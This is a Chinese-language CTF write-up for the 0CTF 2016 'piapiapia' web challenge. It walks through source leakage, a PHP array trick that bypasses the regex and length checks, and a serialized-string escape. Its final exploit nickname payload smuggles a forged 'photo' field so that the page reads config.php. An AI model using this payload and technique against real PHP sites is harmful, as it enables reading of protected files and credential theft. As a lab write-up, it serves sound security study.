Noting of [0CTF 2016]piapiapia

这题算是第一次做比较长的web题, 收获很多, 好好记录一下

概述

这道题主要的考察点有:

  1. 源码泄露
  2. 数组绕过正则匹配和strlen()
  3. 反序列化字符逃逸

源码泄露

就一个登录页面, 随便输入尝试弱密码登录无果.
测试是否存在sql, 也没什么收获
随手一试www.zip, 可以下载 存在源码泄露

源码主要有这几个文件:

  • update.php
  • register.php
  • profile.php
  • index.php
  • config.php
  • class.php

代码审计

反序列化字符逃逸

做ctf肯定要找flag, config.php中就有$flag, 所以要想办法读取config.php.
大概浏览了一下, 在profile.php中发现了这么一行
$photo = base64_encode(file_get_contents($profile['photo']));

再往上找找看这个函数中的参数是否可控, 下面是往上找的过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// profile.php
$profile = unserialize($profile);
// 可能存在反序列化漏洞, 也可以知道这里的$profile是个序列化串, 继续往前
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

$profile=$user->show_profile($username); // $profile 是调用$user->show_profile()得到的

// class.php
public function show_profile($username) {
// profile是从数据库读出来的, 并且没有处理, 所以数据库中就是序列化字符串
$username = parent::filter($username);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}

public function update_profile($username, $new_profile) {
// profile上传时会经过一次过滤
$username = parent::filter($username);
$new_profile = parent::filter($new_profile); // 这个过滤器会替换字符, 可以使得字符长度变长

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}

看到这里大概就有思路了, $profile是上传至数据库后重新读取下来的, 而且上传之前会对序列化串进行一次替换, 替换存在字符数量增加, 也就意味着可以字符逃逸, 如果有字符逃逸, 那么完全可以伪造一个假的$profile['photo']='config.php', 然后读取flag

再继续往前看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// register.php 提供了注册的入口, 注册完就能随便登录了, 登录后就能上传profile

// update.php
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));

可以看到我们可以控制的有很多参数phone, email, nickname都可以, 但是如果要进行字符逃逸, 必然会被前面的正则发现导致上传失败, 所以要想办法绕过

数组绕过

php中的数组是一个很神奇的东西, 他会有下面这些特性

  1. md5(Array()) = null
  2. sha1(Array()) = null
  3. ereg(pattern,Array()) =null
  4. preg_match(pattern,Array()) = false
  5. strcmp(Array(), “abc”) =null
  6. strpos(Array(),“abc”) = null
  7. strlen(Array()) = null 5.3以下版本无报错, 5.3及以上版本会出现E_NOTICE级别错误, 下面有关于错误等级的一些知识

    我们可以看到, 如果参数是数组, 那么preg_match()strlen()都会返回NULL,并且出现E_NOTICE错误, 这个错误是不影响程序继续运行的.

所以, 我们只要传参nickname[]=xxxxxx, 就可以绕过这个正则, 任意控制参数$_POST['nickname']

1
2
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

PHP 错误等级

E_NOTICE 表示一般情形不记录,只有程式有错误情形时才用到,例如企图存取一个不存在的变数,或是呼叫 stat() 函式检视不存在的档案。
E_WARNING 通常都会显示出来,但不会中断程式的执行。这对除错很有效。例如:用有问题的常规表示法呼叫 ereg()。
E_ERROR 通常会显示出来,亦会中断程式执行。意即用这个遮罩无法追查到记忆体配置或其它的错误。
E_PARSE 从语法中剖析错误。
E_CORE_ERROR 类似 E_ERROR,但不包括 PHP核心造成的错误。
E_CORE_WARNING 类似 E_WARNING,但不包括 PHP 核心错误警告。

所以整个流程就是

通过绕过正则任意上传nickename -> 替换serialize_string中的字符改变字符长度造成字符逃逸 -> 利用file_get_contents()读取config.php

payload构造

那么要怎么构造nickname[]来进行字符逃逸呢,

先来看看这个序列化字符串大概是怎样的

1
2
3
4
5
6
7
$profile['phone'] = '11111111111';
$profile['email'] = '11111111@qq.com';
$profile['nickname'] = $_GET['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
echo serialize($profile);
# ?nickname[]=
# a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:15:"11111111@qq.com";s:8:"nickname";a:1:{i:0;s:0:"";}s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}

如果我们想最后反序列化出来的photo => config.php,
那么传上去的nickname最后一段应该是这个";}s:5:"photo";s:10:"config.php";}, 这段字符一共34个, 再看一下替换的函数

1
2
3
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i'; # 过滤'select', 'insert', 'update', 'delete', 'where' 替换成hacker
return preg_replace($safe, 'hacker', $string);

可以看到, 序列化后的字符串serialize_string中存在where时会被替换成hacker, 那么字符串长度就会+1
所以nickname中需要34个where就能把后面的字符挤出去实现逃逸, 可以看一下具体效果

1
2
3
4
5
6
7
8
9
10
11
12
13
# ?nickname[]=
#wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

$profile['phone'] = '11111111111';
$profile['email'] = '11111111@qq.com';
$profile['nickname'] = $_GET['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
echo serialize($profile);
# a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:15:"11111111@qq.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}

echo filter(serialize($profile));

# a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:15:"11111111@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/d41d8cd98f00b204e9800998ecf8427e";}

等到反序列化的时候, 就只会反序列化前面一部分了

1
a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:15:"11111111@qq.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}

结果就会是:

1
2
3
4
5
array(4) { ["phone"]=> string(11) "11111111111" 
["email"]=> string(15) "11111111@qq.com"
["nickname"]=> array(1) { [0]=> string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker" }
["photo"]=> string(10) "config.php"
}

成功了!

EXP

先随便注册一个用户并登录,在profile上传的时候先随便填写数据,再抓包,将nickname改成
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

上传完后访问profile.php, 查看图片的地址,最后把base64转成文本就有flag了